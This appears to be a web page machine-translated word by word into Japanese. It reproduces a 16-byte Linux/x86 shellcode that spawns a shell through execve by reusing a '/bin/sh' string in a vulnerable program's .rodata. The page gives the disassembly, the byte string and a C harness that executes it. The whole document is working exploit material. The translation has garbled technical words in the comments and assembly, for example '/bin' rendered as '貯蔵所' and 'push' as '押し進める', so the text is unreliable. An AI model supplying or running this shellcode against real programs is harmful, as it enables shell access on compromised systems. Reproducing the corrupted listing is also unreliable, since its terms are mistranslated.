このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - re-use of (/貯蔵所/sh) string in .rodata - 16 bytes
/*
 * $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $
 *
 * reusage-linux.c - re-use of "/貯蔵所/sh" string in .rodata
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Short 地元の shellcode for /貯蔵所/sh execve(). It re-uses the "/貯蔵所/sh"
 * string 蓄える/店d in the .rodata section of the 攻撃を受けやすい program. Change
 * the string 演説(する)/住所 as needed (based on zillion's 初めの idea).
 */

/*
 * execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL)
 *
 * 8049368:       31 c0                   xor    %eax,%eax
 * 804936a:       bb 08 84 04 08          mov    $0x8048408,%ebx # change it
 * 804936f:       53                      押し進める   %ebx
 * 8049370:       89 e1                   mov    %esp,%ecx
 * 8049372:       31 d2                   xor    %edx,%edx
 * 8049374:       b0 0b                   mov    $0xb,%al
 * 8049376:       cd 80                   int    $0x80
 * 8049378:       00 00                   追加する    %al,(%eax)
 */

char sc[] = /* 16 bytes */
"\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

main()
{
	int (*f)() = (int (*)())sc; f();
}